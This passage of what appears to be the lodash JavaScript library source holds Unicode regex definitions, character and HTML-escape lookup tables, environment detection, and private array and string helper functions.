      rsMisc = '[^' + rsAstralRange + rsBreakRange + rsDigits + rsDingbatRange + rsLowerRange + rsUpperRange + ']',
      rsFitz = '\\ud83c[\\udffb-\\udfff]',
      rsModifier = '(?:' + rsCombo + '|' + rsFitz + ')',
      rsNonAstral = '[^' + rsAstralRange + ']',
      rsRegional = '(?:\\ud83c[\\udde6-\\uddff]){2}',
      rsSurrPair = '[\\ud800-\\udbff][\\udc00-\\udfff]',
      rsUpper = '[' + rsUpperRange + ']',
      rsZWJ = '\\u200d';

  /** Used to compose unicode regexes. */
  var rsMiscLower = '(?:' + rsLower + '|' + rsMisc + ')',
      rsMiscUpper = '(?:' + rsUpper + '|' + rsMisc + ')',
      rsOptContrLower = '(?:' + rsApos + '(?:d|ll|m|re|s|t|ve))?',
      rsOptContrUpper = '(?:' + rsApos + '(?:D|LL|M|RE|S|T|VE))?',
      reOptMod = rsModifier + '?',
      rsOptVar = '[' + rsVarRange + ']?',
      rsOptJoin = '(?:' + rsZWJ + '(?:' + [rsNonAstral, rsRegional, rsSurrPair].join('|') + ')' + rsOptVar + reOptMod + ')*',
      rsOrdLower = '\\d*(?:1st|2nd|3rd|(?![123])\\dth)(?=\\b|[A-Z_])',
      rsOrdUpper = '\\d*(?:1ST|2ND|3RD|(?![123])\\dTH)(?=\\b|[a-z_])',
      rsSeq = rsOptVar + reOptMod + rsOptJoin,
      rsEmoji = '(?:' + [rsDingbat, rsRegional, rsSurrPair].join('|') + ')' + rsSeq,
      rsSymbol = '(?:' + [rsNonAstral + rsCombo + '?', rsCombo, rsRegional, rsSurrPair, rsAstral].join('|') + ')';

  /** Used to match apostrophes. */
  var reApos = RegExp(rsApos, 'g');

  /**
   * Used to match [combining diacritical marks](https://en.wikipedia.org/wiki/Combining_Diacritical_Marks) and
   * [combining diacritical marks for symbols](https://en.wikipedia.org/wiki/Combining_Diacritical_Marks_for_Symbols).
   */
  var reComboMark = RegExp(rsCombo, 'g');

  /** Used to match [string symbols](https://mathiasbynens.be/notes/javascript-unicode). */
  var reUnicode = RegExp(rsFitz + '(?=' + rsFitz + ')|' + rsSymbol + rsSeq, 'g');

  /** Used to match complex or compound words. */
  var reUnicodeWord = RegExp([
    rsUpper + '?' + rsLower + '+' + rsOptContrLower + '(?=' + [rsBreak, rsUpper, '$'].join('|') + ')',
    rsMiscUpper + '+' + rsOptContrUpper + '(?=' + [rsBreak, rsUpper + rsMiscLower, '$'].join('|') + ')',
    rsUpper + '?' + rsMiscLower + '+' + rsOptContrLower,
    rsUpper + '+' + rsOptContrUpper,
    rsOrdUpper,
    rsOrdLower,
    rsDigits,
    rsEmoji
  ].join('|'), 'g');

  /** Used to detect strings with [zero-width joiners or code points from the astral planes](http://eev.ee/blog/2015/09/12/dark-corners-of-unicode/). */
  var reHasUnicode = RegExp('[' + rsZWJ + rsAstralRange  + rsComboRange + rsVarRange + ']');

  /** Used to detect strings that need a more robust regexp to match words. */
  var reHasUnicodeWord = /[a-z][A-Z]|[A-Z]{2}[a-z]|[0-9][a-zA-Z]|[a-zA-Z][0-9]|[^a-zA-Z0-9 ]/;

  /** Used to assign default `context` object properties. */
  var contextProps = [
    'Array', 'Buffer', 'DataView', 'Date', 'Error', 'Float32Array', 'Float64Array',
    'Function', 'Int8Array', 'Int16Array', 'Int32Array', 'Map', 'Math', 'Object',
    'Promise', 'RegExp', 'Set', 'String', 'Symbol', 'TypeError', 'Uint8Array',
    'Uint8ClampedArray', 'Uint16Array', 'Uint32Array', 'WeakMap',
    '_', 'clearTimeout', 'isFinite', 'parseInt', 'setTimeout'
  ];

  /** Used to make template sourceURLs easier to identify. */
  var templateCounter = -1;

  /** Used to identify `toStringTag` values of typed arrays. */
  var typedArrayTags = {};
  typedArrayTags[float32Tag] = typedArrayTags[float64Tag] =
  typedArrayTags[int8Tag] = typedArrayTags[int16Tag] =
  typedArrayTags[int32Tag] = typedArrayTags[uint8Tag] =
  typedArrayTags[uint8ClampedTag] = typedArrayTags[uint16Tag] =
  typedArrayTags[uint32Tag] = true;
  typedArrayTags[argsTag] = typedArrayTags[arrayTag] =
  typedArrayTags[arrayBufferTag] = typedArrayTags[boolTag] =
  typedArrayTags[dataViewTag] = typedArrayTags[dateTag] =
  typedArrayTags[errorTag] = typedArrayTags[funcTag] =
  typedArrayTags[mapTag] = typedArrayTags[numberTag] =
  typedArrayTags[objectTag] = typedArrayTags[regexpTag] =
  typedArrayTags[setTag] = typedArrayTags[stringTag] =
  typedArrayTags[weakMapTag] = false;

  /** Used to identify `toStringTag` values supported by `_.clone`. */
  var cloneableTags = {};
  cloneableTags[argsTag] = cloneableTags[arrayTag] =
  cloneableTags[arrayBufferTag] = cloneableTags[dataViewTag] =
  cloneableTags[boolTag] = cloneableTags[dateTag] =
  cloneableTags[float32Tag] = cloneableTags[float64Tag] =
  cloneableTags[int8Tag] = cloneableTags[int16Tag] =
  cloneableTags[int32Tag] = cloneableTags[mapTag] =
  cloneableTags[numberTag] = cloneableTags[objectTag] =
  cloneableTags[regexpTag] = cloneableTags[setTag] =
  cloneableTags[stringTag] = cloneableTags[symbolTag] =
  cloneableTags[uint8Tag] = cloneableTags[uint8ClampedTag] =
  cloneableTags[uint16Tag] = cloneableTags[uint32Tag] = true;
  cloneableTags[errorTag] = cloneableTags[funcTag] =
  cloneableTags[weakMapTag] = false;

  /** Used to map Latin Unicode letters to basic Latin letters. */
  var deburredLetters = {
    // Latin-1 Supplement block.
    '\xc0': 'A',  '\xc1': 'A', '\xc2': 'A', '\xc3': 'A', '\xc4': 'A', '\xc5': 'A',
    '\xe0': 'a',  '\xe1': 'a', '\xe2': 'a', '\xe3': 'a', '\xe4': 'a', '\xe5': 'a',
    '\xc7': 'C',  '\xe7': 'c',
    '\xd0': 'D',  '\xf0': 'd',
    '\xc8': 'E',  '\xc9': 'E', '\xca': 'E', '\xcb': 'E',
    '\xe8': 'e',  '\xe9': 'e', '\xea': 'e', '\xeb': 'e',
    '\xcc': 'I',  '\xcd': 'I', '\xce': 'I', '\xcf': 'I',
    '\xec': 'i',  '\xed': 'i', '\xee': 'i', '\xef': 'i',
    '\xd1': 'N',  '\xf1': 'n',
    '\xd2': 'O',  '\xd3': 'O', '\xd4': 'O', '\xd5': 'O', '\xd6': 'O', '\xd8': 'O',
    '\xf2': 'o',  '\xf3': 'o', '\xf4': 'o', '\xf5': 'o', '\xf6': 'o', '\xf8': 'o',
    '\xd9': 'U',  '\xda': 'U', '\xdb': 'U', '\xdc': 'U',
    '\xf9': 'u',  '\xfa': 'u', '\xfb': 'u', '\xfc': 'u',
    '\xdd': 'Y',  '\xfd': 'y', '\xff': 'y',
    '\xc6': 'Ae', '\xe6': 'ae',
    '\xde': 'Th', '\xfe': 'th',
    '\xdf': 'ss',
    // Latin Extended-A block.
    '\u0100': 'A',  '\u0102': 'A', '\u0104': 'A',
    '\u0101': 'a',  '\u0103': 'a', '\u0105': 'a',
    '\u0106': 'C',  '\u0108': 'C', '\u010a': 'C', '\u010c': 'C',
    '\u0107': 'c',  '\u0109': 'c', '\u010b': 'c', '\u010d': 'c',
    '\u010e': 'D',  '\u0110': 'D', '\u010f': 'd', '\u0111': 'd',
    '\u0112': 'E',  '\u0114': 'E', '\u0116': 'E', '\u0118': 'E', '\u011a': 'E',
    '\u0113': 'e',  '\u0115': 'e', '\u0117': 'e', '\u0119': 'e', '\u011b': 'e',
    '\u011c': 'G',  '\u011e': 'G', '\u0120': 'G', '\u0122': 'G',
    '\u011d': 'g',  '\u011f': 'g', '\u0121': 'g', '\u0123': 'g',
    '\u0124': 'H',  '\u0126': 'H', '\u0125': 'h', '\u0127': 'h',
    '\u0128': 'I',  '\u012a': 'I', '\u012c': 'I', '\u012e': 'I', '\u0130': 'I',
    '\u0129': 'i',  '\u012b': 'i', '\u012d': 'i', '\u012f': 'i', '\u0131': 'i',
    '\u0134': 'J',  '\u0135': 'j',
    '\u0136': 'K',  '\u0137': 'k', '\u0138': 'k',
    '\u0139': 'L',  '\u013b': 'L', '\u013d': 'L', '\u013f': 'L', '\u0141': 'L',
    '\u013a': 'l',  '\u013c': 'l', '\u013e': 'l', '\u0140': 'l', '\u0142': 'l',
    '\u0143': 'N',  '\u0145': 'N', '\u0147': 'N', '\u014a': 'N',
    '\u0144': 'n',  '\u0146': 'n', '\u0148': 'n', '\u014b': 'n',
    '\u014c': 'O',  '\u014e': 'O', '\u0150': 'O',
    '\u014d': 'o',  '\u014f': 'o', '\u0151': 'o',
    '\u0154': 'R',  '\u0156': 'R', '\u0158': 'R',
    '\u0155': 'r',  '\u0157': 'r', '\u0159': 'r',
    '\u015a': 'S',  '\u015c': 'S', '\u015e': 'S', '\u0160': 'S',
    '\u015b': 's',  '\u015d': 's', '\u015f': 's', '\u0161': 's',
    '\u0162': 'T',  '\u0164': 'T', '\u0166': 'T',
    '\u0163': 't',  '\u0165': 't', '\u0167': 't',
    '\u0168': 'U',  '\u016a': 'U', '\u016c': 'U', '\u016e': 'U', '\u0170': 'U', '\u0172': 'U',
    '\u0169': 'u',  '\u016b': 'u', '\u016d': 'u', '\u016f': 'u', '\u0171': 'u', '\u0173': 'u',
    '\u0174': 'W',  '\u0175': 'w',
    '\u0176': 'Y',  '\u0177': 'y', '\u0178': 'Y',
    '\u0179': 'Z',  '\u017b': 'Z', '\u017d': 'Z',
    '\u017a': 'z',  '\u017c': 'z', '\u017e': 'z',
    '\u0132': 'IJ', '\u0133': 'ij',
    '\u0152': 'Oe', '\u0153': 'oe',
    '\u0149': "'n", '\u017f': 's'
  };

  /** Used to map characters to HTML entities. */
  var htmlEscapes = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#39;'
  };

  /** Used to map HTML entities to characters. */
  var htmlUnescapes = {
    '&amp;': '&',
    '&lt;': '<',
    '&gt;': '>',
    '&quot;': '"',
    '&#39;': "'"
  };

  /** Used to escape characters for inclusion in compiled string literals. */
  var stringEscapes = {
    '\\': '\\',
    "'": "'",
    '\n': 'n',
    '\r': 'r',
    '\u2028': 'u2028',
    '\u2029': 'u2029'
  };

  /** Built-in method references without a dependency on `root`. */
  var freeParseFloat = parseFloat,
      freeParseInt = parseInt;

  /** Detect free variable `global` from Node.js. */
  var freeGlobal = typeof global == 'object' && global && global.Object === Object && global;

  /** Detect free variable `self`. */
  var freeSelf = typeof self == 'object' && self && self.Object === Object && self;

  /** Used as a reference to the global object. */
  var root = freeGlobal || freeSelf || Function('return this')();

  /** Detect free variable `exports`. */
  var freeExports = typeof exports == 'object' && exports && !exports.nodeType && exports;

  /** Detect free variable `module`. */
  var freeModule = freeExports && typeof module == 'object' && module && !module.nodeType && module;

  /** Detect the popular CommonJS extension `module.exports`. */
  var moduleExports = freeModule && freeModule.exports === freeExports;

  /** Detect free variable `process` from Node.js. */
  var freeProcess = moduleExports && freeGlobal.process;

  /** Used to access faster Node.js helpers. */
  var nodeUtil = (function() {
    try {
      // Use `util.types` for Node.js 10+.
      var types = freeModule && freeModule.require && freeModule.require('util').types;

      if (types) {
        return types;
      }

      // Legacy `process.binding('util')` for Node.js < 10.
      return freeProcess && freeProcess.binding && freeProcess.binding('util');
    } catch (e) {}
  }());

  /* Node.js helper references. */
  var nodeIsArrayBuffer = nodeUtil && nodeUtil.isArrayBuffer,
      nodeIsDate = nodeUtil && nodeUtil.isDate,
      nodeIsMap = nodeUtil && nodeUtil.isMap,
      nodeIsRegExp = nodeUtil && nodeUtil.isRegExp,
      nodeIsSet = nodeUtil && nodeUtil.isSet,
      nodeIsTypedArray = nodeUtil && nodeUtil.isTypedArray;

  /*--------------------------------------------------------------------------*/

  /**
   * A faster alternative to `Function#apply`, this function invokes `func`
   * with the `this` binding of `thisArg` and the arguments of `args`.
   *
   * @private
   * @param {Function} func The function to invoke.
   * @param {*} thisArg The `this` binding of `func`.
   * @param {Array} args The arguments to invoke `func` with.
   * @returns {*} Returns the result of `func`.
   */
  function apply(func, thisArg, args) {
    switch (args.length) {
      case 0: return func.call(thisArg);
      case 1: return func.call(thisArg, args[0]);
      case 2: return func.call(thisArg, args[0], args[1]);
      case 3: return func.call(thisArg, args[0], args[1], args[2]);
    }
    return func.apply(thisArg, args);
  }

  /**
   * A specialized version of `baseAggregator` for arrays.
   *
   * @private
   * @param {Array} [array] The array to iterate over.
   * @param {Function} setter The function to set `accumulator` values.
   * @param {Function} iteratee The iteratee to transform keys.
   * @param {Object} accumulator The initial aggregated object.
   * @returns {Function} Returns `accumulator`.
   */
  function arrayAggregator(array, setter, iteratee, accumulator) {
    var index = -1,
        length = array == null ? 0 : array.length;

    while (++index < length) {
      var value = array[index];
      setter(accumulator, value, iteratee(value), array);
    }
    return accumulator;
  }

  /**
   * A specialized version of `_.forEach` for arrays without support for
   * iteratee shorthands.
   *
   * @private
   * @param {Array} [array] The array to iterate over.
   * @param {Function} iteratee The function invoked per iteration.
   * @returns {Array} Returns `array`.
   */
  function arrayEach(array, iteratee) {
    var index = -1,
        length = array == null ? 0 : array.length;

    while (++index < length) {
      if (iteratee(array[index], index, array) === false) {
        break;
      }
    }
    return array;
  }

  /**
   * A specialized version of `_.forEachRight` for arrays without support for
   * iteratee shorthands.
   *
   * @private
   * @param {Array} [array] The array to iterate over.
   * @param {Function} iteratee The function invoked per iteration.
   * @returns {Array} Returns `array`.
   */
  function arrayEachRight(array, iteratee) {
    var length = array == null ? 0 : array.length;

    while (length--) {
      if (iteratee(array[length], length, array) === false) {
        break;
      }
    }
    return array;
  }

  /**
   * A specialized version of `_.every` for arrays without support for
   * iteratee shorthands.
   *
   * @private
   * @param {Array} [array] The array to iterate over.
   * @param {Function} predicate The function invoked per iteration.
   * @returns {boolean} Returns `true` if all elements pass the predicate check,
   *  else `false`.
   */
  function arrayEvery(array, predicate) {
    var index = -1,
        length = array == null ? 0 : array.length;

    while (++index < length) {
      if (!predicate(array[index], index, array)) {
        return false;
      }
    }
    return true;
  }

  /**
   * A specialized version of `_.filter` for arrays without support for
   * iteratee shorthands.
   *
   * @private
   * @param {Array} [array] The array to iterate over.
   * @param {Function} predicate The function invoked per iteration.
   * @returns {Array} Returns the new filtered array.
   */
  function arrayFilter(array, predicate) {
    var index = -1,
        length = array == null ? 0 : array.length,
        resIndex = 0,
        result = [];

    while (++index < length) {
      var value = array[index];
      if (predicate(value, index, array)) {
        result[resIndex++] = value;
      }
    }
    return result;
  }

  /**
   * A specialized version of `_.includes` for arrays without support for
   * specifying an index to search from.
   *
   * @private
   * @param {Array} [array] The array to inspect.
   * @param {*} target The value to search for.
   * @returns {boolean} Returns `true` if `target` is found, else `false`.
   */
  function arrayIncludes(array, value) {
    var length = array == null ? 0 : array.length;
    return !!length && baseIndexOf(array, value, 0) > -1;
  }

  /**
   * This function is like `arrayIncludes` except that it accepts a comparator.
   *
   * @private
   * @param {Array} [array] The array to inspect.
   * @param {*} target The value to search for.
   * @param {Function} comparator The comparator invoked per element.
   * @returns {boolean} Returns `true` if `target` is found, else `false`.
   */
  function arrayIncludesWith(array, value, comparator) {
    var index = -1,
        length = array == null ? 0 : array.length;

    while (++index < length) {
      if (comparator(value, array[index])) {
        return true;
      }
    }
    return false;
  }

  /**
   * A specialized version of `_.map` for arrays without support for iteratee
   * shorthands.
   *
   * @private
   * @param {Array} [array] The array to iterate over.
   * @param {Function} iteratee The function invoked per iteration.
   * @returns {Array} Returns the new mapped array.
   */
  function arrayMap(array, iteratee) {
    var index = -1,
        length = array == null ? 0 : array.length,
        result = Array(length);

    while (++index < length) {
      result[index] = iteratee(array[index], index, array);
    }
    return result;
  }

  /**
   * Appends the elements of `values` to `array`.
   *
   * @private
   * @param {Array} array The array to modify.
   * @param {Array} values The values to append.
   * @returns {Array} Returns `array`.
   */
  function arrayPush(array, values) {
    var index = -1,
        length = values.length,
        offset = array.length;

    while (++index < length) {
      array[offset + index] = values[index];
    }
    return array;
  }

  /**
   * A specialized version of `_.reduce` for arrays without support for
   * iteratee shorthands.
   *
   * @private
   * @param {Array} [array] The array to iterate over.
   * @param {Function} iteratee The function invoked per iteration.
   * @param {*} [accumulator] The initial value.
   * @param {boolean} [initAccum] Specify using the first element of `array` as
   *  the initial value.
   * @returns {*} Returns the accumulated value.
   */
  function arrayReduce(array, iteratee, accumulator, initAccum) {
    var index = -1,
        length = array == null ? 0 : array.length;

    if (initAccum && length) {
      accumulator = array[++index];
    }
    while (++index < length) {
      accumulator = iteratee(accumulator, array[index], index, array);
    }
    return accumulator;
  }

  /**
   * A specialized version of `_.reduceRight` for arrays without support for
   * iteratee shorthands.
   *
   * @private
   * @param {Array} [array] The array to iterate over.
   * @param {Function} iteratee The function invoked per iteration.
   * @param {*} [accumulator] The initial value.
   * @param {boolean} [initAccum] Specify using the last element of `array` as
   *  the initial value.
   * @returns {*} Returns the accumulated value.
   */
  function arrayReduceRight(array, iteratee, accumulator, initAccum) {
    var length = array == null ? 0 : array.length;
    if (initAccum && length) {
      accumulator = array[--length];
    }
    while (length--) {
      accumulator = iteratee(accumulator, array[length], length, array);
    }
    return accumulator;
  }

  /**
   * A specialized version of `_.some` for arrays without support for iteratee
   * shorthands.
   *
   * @private
   * @param {Array} [array] The array to iterate over.
   * @param {Function} predicate The function invoked per iteration.
   * @returns {boolean} Returns `true` if any element passes the predicate check,
   *  else `false`.
   */
  function arraySome(array, predicate) {
    var index = -1,
        length = array == null ? 0 : array.length;

    while (++index < length) {
      if (predicate(array[index], index, array)) {
        return true;
      }
    }
    return false;
  }

  /**
   * Gets the size of an ASCII `string`.
   *
   * @private
   * @param {string} string The string inspect.
   * @returns {number} Returns the string size.
   */
  var asciiSize = baseProperty('length');

  /**
   * Converts an ASCII `string` to an array.
   *
   * @private
   * @param {string} string The string to convert.
   * @returns {Array} Returns the converted array.
   */
  function asciiToArray(string) {
    return string.split('');
  }

  /**
   * Splits an ASCII `string` into an array of its words.
   *
   * @private
   * @param {string} The string to inspect.
   * @returns {Array} Returns the words of `string`.
   */
  function asciiWords(string) {
    return string.match(reAsciiWord) || [];
  }

  /**
   * The base implementation of methods like `_.findKey` and `_.findLastKey`,
   * without support for iteratee shorthands, which iterates over `collection`
   * using `eachFunc`.
   *
   * @private
   * @param {Array|Object} collection The collection to inspect.
   * @param {Function} predicate The function invoked per iteration.
   * @param {Function} eachFunc The function to iterate over `collection`.
   * @returns {*} Returns the found element or its key, else `undefined`.
   */
  function baseFindKey(collection, predicate, eachFunc) {
    var result;
    eachFunc(collection, function(value, key, collection) {
      if (predicate(value, key, collection)) {
        result = key;
        return false;
      }
    });
    return result;
  }

  /**
   * The base implementation of `_.findIndex` and `_.findLastIndex` without
   * support for iteratee shorthands.
   *
   * @private
   * @param {Array} array The array to inspect.
   * @param {Function} predicate The function invoked per iteration.
   * @param {number} fromIndex The index to search from.
   * @param {boolean} [fromRight] Specify iterating from right to left.
   * @returns {number} Returns the index of the matched value, else `-1`.
   */
  function baseFindIndex(array, predicate, fromIndex, fromRight) {
    var length = array.length,
        index = fromIndex + (fromRight ? 1 : -1);

    while ((fromRight ? index-- : ++index < length)) {
      if (predicate(array[index], index, array)) {
        return index;
      }
    }
    return -1;
  }

  /**
   * The base implementation of `_.indexOf` without `fromIndex` bounds checks.
   *
   * @private
   * @param {Array} array The array to inspect.
   * @param {*} value The value to search for.
   * @param {number} fromIndex The index to search from.
   * @returns {number} Returns the index of the matched value, else `-1`.
   */
  function baseIndexOf(array, value, fromIndex) {
    return value === value
      ? strictIndexOf(array, value, fromIndex)
      : baseFindIndex(array, baseIsNaN, fromIndex);
  }

  /**
   * This function is like `baseIndexOf` except that it accepts a comparator.
   *
   * @private
   * @param {Array} array The array to inspect.
   * @param {*} value The value to search for.
   * @param {number} fromIndex The index to search from.
   * @param {Function} comparator The comparator invoked per element.
   * @returns {number} Returns the index of the matched value, else `-1`.
   */
  function baseIndexOfWith(array, value, fromIndex, comparator) {
    var index = fromIndex - 1,
        length = array.length;

    while (++index < length) {
      if (comparator(array[index], value)) {
        return index;
      }
    }
    return -1;
  }

  /**
   * The base implementation of `_.isNaN` without support for number objects.
   *
   * @private
   * @param {*} value The value to check.
   * @returns {boolean} Returns `true` if `value` is `NaN`, else `false`.
   */
  function baseIsNaN(value) {
    return value !== value;
  }

  /**
   * The base implementation of `_.mean` and `_.meanBy` without support for
   * iteratee shorthands.
   *
   * @private
   * @param {Array} array The array to iterate over.
   * @param {Function} iteratee The function invoked per iteration.
   * @returns {number} Returns the mean.
   */
  function baseMean(array, iteratee) {
    var length = array == null ? 0 : array.length;
    return length ? (baseSum(array, iteratee) / length) : NAN;
  }

  /**
   * The base implementation of `_.property` without support for deep paths.
   *
   * @private
   * @param {string} key The key of the property to get.
   * @returns {Function} Returns the new accessor function.
   */
  function baseProperty(key) {
    return function(object) {
      return object == null ? undefined : object[key];
    };
  }

  /**
   * The base implementation of `_.propertyOf` without support for deep paths.
   *
   * @private
   * @param {Object} object The object to query.
   * @returns {Function} Returns the new accessor function.
   */
  function basePropertyOf(object) {
    return function(key) {
      return object == null ? undefined : object[key];
    };
  }

  /**
   * The base implementation of `_.reduce` and `_.reduceRight`, without support
   * for iteratee shorthands, which iterates over `collection` using `eachFunc`.
   *
   * @private
   * @param {Array|Object} collection The collection to iterate over.
   * @param {Function} iteratee The function invoked per iteration.
   * @param {*} accumulator The initial value.
   * @param {boolean} initAccum Specify using the first or last element of
   *  `collection` as the initial value.
   * @param {Function} eachFunc The function to iterate over `collection`.
   * @returns {*} Returns the accumulated value.
   */
  function baseReduce(collection, iteratee, accumulator, initAccum, eachFunc) {
    eachFunc(collection, function(value, index, collection) {
      accumulator = initAccum
        ? (initAccum = false, value)
        : iteratee(accumulator, value, index, collection);
    });
    return accumulator;
  }

  /**
   * The base implementation of `_.sortBy` which uses `comparer` to define the
   * sort order of `array` and replaces criteria objects with their corresponding
   * values.
   *
   * @private
   * @param {Array} array The array to sort.
   * @param {Function} comparer The function to define sort order.
   * @returns {Array} Returns `array`.
   */
  function baseSortBy(array, comparer) {
    var length = array.length;

    array.sort(comparer);
    while (length--) {
      array[length] = array[length].value;
    }
    return array;
  }

  /**
   * The base implementation of `_.sum` and `_.sumBy` without support for
   * iteratee shorthands.
   *
   * @private
   * @param {Array} array The array to iterate over.
   * @param {Function} iteratee The function invoked per iteration.
   * @returns {number} Returns the sum.
   */
  function baseSum(array, iteratee) {
    var result,
        index = -1,
        length = array.length;

    while (++index < length) {
      var current = iteratee(array[index]);
      if (current !== undefined) {
        result = result === undefined ? current : (result + current);
      }
    }
    return result;
  }

  /**
   * The base implementation of `_.times` without support for iteratee shorthands
   * or max array length checks.
   *
   * @private
   * @param {number} n The number of times to invoke `iteratee`.
   * @param {Function} iteratee The function invoked per iteration.
   * @returns {Array} Returns the array of results.
   */
  function baseTimes(n, iteratee) {
    var index = -1,
        result = Array(n);

    while (++index < n) {
      result[index] = iteratee(index);
    }
    return result;
  }

  /**
   * The base implementation of `_.toPairs` and `_.toPairsIn` which creates an array
   * of key-value pairs for `object` corresponding to the property names of `props`.
   *
   * @private
   * @param {Object} object The object to query.
   * @param {Array} props The property names to get values for.
   * @returns {Object} Returns the key-value pairs.
   */
  function baseToPairs(object, props) {
    return arrayMap(props, function(key) {
      return [key, object[key]];
    });
  }

  /**
   * The base implementation of `_.trim`.
   *
   * @private
   * @param {string} string The string to trim.
   * @returns {string} Returns the trimmed string.
   */
  function baseTrim(string) {
    return string
      ? string.slice(0, trimmedEndIndex(string) + 1).replace(reTrimStart, '')
      : string;
  }

  /**
   * The base implementation of `_.unary` without support for storing metadata.
   *
   * @private
   * @param {Function} func The function to cap arguments for.
   * @returns {Function} Returns the new capped function.
   */
  function baseUnary(func) {
    return function(value) {
      return func(value);
    };
  }

  /**
   * The base implementation of `_.values` and `_.valuesIn` which creates an
   * array of `object` property values corresponding to the property names
   * of `props`.
   *
   * @private
   * @param {Object} object The object to query.
   * @param {Array} props The property names to get values for.
   * @returns {Object} Returns the array of property values.
   */
  function baseValues(object, props) {
    return arrayMap(props, function(key) {
      return object[key];
    });
  }

  /**
   * Checks if a `cache` value for `key` exists.
   *
   * @private
   * @param {Object} cache The cache to query.
   * @param {string} key The key of the entry to check.
   * @returns {boolean} Returns `true` if an entry for `key` exists, else `false`.
   */
  function cacheHas(cache, key) {
    return cache.has(key);
  }

  /**
   * Used by `_.trim` and `_.trimStart` to get the index of the first string symbol
   * that is not found in the character symbols.
   *
   * @private
   * @param {Array} strSymbols The string symbols to inspect.
   * @param {Array} chrSymbols The character symbols to find.
   * @returns {number} Returns the index of the first unmatched string symbol.
   */
  function charsStartIndex(strSymbols, chrSymbols) {
    var index = -1,
        length = strSymbols.length;

    while (++index < length && baseIndexOf(chrSymbols, strSymbols[index], 0) > -1) {}
    return index;
  }

  /**
   * Used by `_.trim` and `_.trimEnd` to get the index of the last string symbol
   * that is not found in the character symbols.
   *
   * @private
   * @param {Array} strSymbols The string symbols to inspect.
   * @param {Array} chrSymbols The character symbols to find.
   * @returns {number} Returns the index of the last unmatched string symbol.
   */
  function charsEndIndex(strSymbols, chrSymbols) {
    var index = strSymbols.length;

    while (index-- && baseIndexOf(chrSymbols, strSymbols[index], 0) > -1) {}
    return index;
  }

  /**
   * Gets the number of `placeholder` occurrences in `array`.
   *
   * @private
   * @param {Array} array The array to inspect.
   * @param {*} placeholder The placeholder to search for.
   * @returns {number} Returns the placeholder count.
   */
  function countHolders(array, placeholder) {
    var length = array.length,
        result = 0;

    while (length--) {
      if (array[length] === placeholder) {
        ++result;
      }
    }
    return result;
  }

  /**
   * Used by `_.deburr` to convert Latin-1 Supplement and Latin Extended-A
   * letters to basic Latin letters.
   *
   * @private
   * @param {string} letter The matched letter to deburr.
   * @returns {string} Returns the deburred letter.
   */
  var deburrLetter = basePropertyOf(deburredLetters);

  /**
   * Used by `_.escape` to convert characters to HTML entities.
   *
   * @private
   * @param {string} chr The matched character to escape.
   * @returns {string} Returns the escaped character.
   */
  var escapeHtmlChar = basePropertyOf(htmlEscapes);

  /**
   * Used by `_.template` to escape characters for inclusion in compiled string literals.
   *
   * @private
   * @param {string} chr The matched character to escape.
   * @returns {string} Returns the escaped character.
   */
  function escapeStringChar(chr) {
    return '\\' + stringEscapes[chr];
  }

  /**
   * Gets the value at `key` of `object`.
   *
   * @private
   * @param {Object} [object] The object to query.
   * @param {string} key The key of the property to get.
   * @returns {*} Returns the property value.
   */
  function getValue(object, key) {
    return object == null ? undefined : object[key];
  }

  /**
   * Checks if `string` contains Unicode symbols.
   *
   * @private
   * @param {string} string The string to inspect.
   * @returns {boolean} Returns `true` if a symbol is found, else `false`.
   */
  function hasUnicode(string) {
    return reHasUnicode.test(string);
  }

  /**
   * Checks if `string` contains a word composed of Unicode symbols.
   *
   * @private
   * @param {string} string The string to inspect.
   * @returns {boolean} Returns `true` if a word is found, else `false`.
   */
  function hasUnicodeWord(string) {
    return reHasUnicodeWord.test(string);
  }

  /**
   * Converts `iterator` to an array.
   *
   * @private
   * @param {Object} iterator The iterator to convert.
   * @returns {Array} Returns the converted array.
   */
  function iteratorToArray(iterator) {
    var data,
        result = [];

    while (!(data = iterator.next()).done) {
      result.push(data.value);
    }
    return result;
  }

  /**
   * Converts `map` to its key-value pairs.
   *
   * @private
   * @param {Object} map The map to convert.
   * @returns {Array} Returns the key-value pairs.
   */
  function mapToArray(map) {
    var index = -1,
        result = Array(map.size);

    map.forEach(function(value, key) {
      result[++index] = [key, value];
    });
    return result;
  }

  /**
   * Creates a unary function that invokes `func` with its argument transformed.
   *
   * @private
   * @param {Function} func The function to wrap.
   * @param {Function} transform The argument transform.
   * @returns {Function} Returns the new function.
   */
  function overArg(func, transform) {
    return function(arg) {
      return func(transform(arg));
    };
  }

  /**
   * Replaces all `placeholder` elements in `array` with an internal placeholder
   * and returns an array of their indexes.
   *
   * @private
   * @param {Array} array The array to modify.
   * @param {*} placeholder The placeholder to replace.
   * @returns {Array} Returns the new array of placeholder indexes.
   */
  function replaceHolders(array, placeholder) {
    var index = -1,
        length = array.length,
        resIndex = 0,
        result = [];

    while (++index < length) {
      var value = array[index];
      if (value === placeholder || value === PLACEHOLDER) {
        array[index] = PLACEHOLDER;
        result[resIndex++] = index;
      }
    }
    return result;
  }

  /**
   * Converts `set` to an array of its values.
   *
   * @private
   * @param {Object} set The set to convert.
   * @returns {Array} Returns the values.
   */
  function setToArray(set) {
    var index = -1,
        result = Array(set.size);

    set.forEach(function(value) {
      result[++index] = value;
    });
    return result;
  }

  /**
   * Converts `set` to its value-value pairs.
   *
   * @private
   * @param {Object} set The set to convert.
   * @returns {Array} Returns the value-value pairs.
   */
  function setToPairs(set) {
    var index = -1,
        result = Array(set.size);

    set.forEach(function(value) {
      result[++index] = [value, value];
    });
    return result;
  }

  /**
   * A specialized version of `_.indexOf` which performs strict equality
   * comparisons of values, i.e. `===`.
   *
   * @private
   * @param {Array} array The array to inspect.
   * @param {*} value The value to search for.
   * @param {number} fromIndex The index to search from.
   * @returns {number} Returns the index of the matched value, else `-1`.
   */
  function strictIndexOf(array, value, fromIndex) {
    var index = fromIndex - 1,
        length = array.length;

    while (++index < length) {
      if (array[index] === value) {
        return index;
      }
    }
    return -1;
  }

  /**
   * A specialized version of `_.lastIndexOf` which performs strict equality
   * comparisons of values, i.e. `===`.
   *
   * @private
   * @param {Array} array The array to inspect.
   * @param {*} value The value to search for.
   * @param {number} fromIndex The index to search from.
   * @returns {number} Returns the index of the matched value, else `-1`.
   */
  function strictLastIndexOf(array, value, fromIndex) {
    var index = fromIndex + 1;
    while (index--) {
      if (array[index] === value) {
        return index;
      }
    }
    return index;
  }

  /**
   * Gets the number of symbols in `string`.
   *
   * @private
   * @param {string} string The string to inspect.
   * @returns {number} Returns the string size.
   */
  function stringSize(string) {
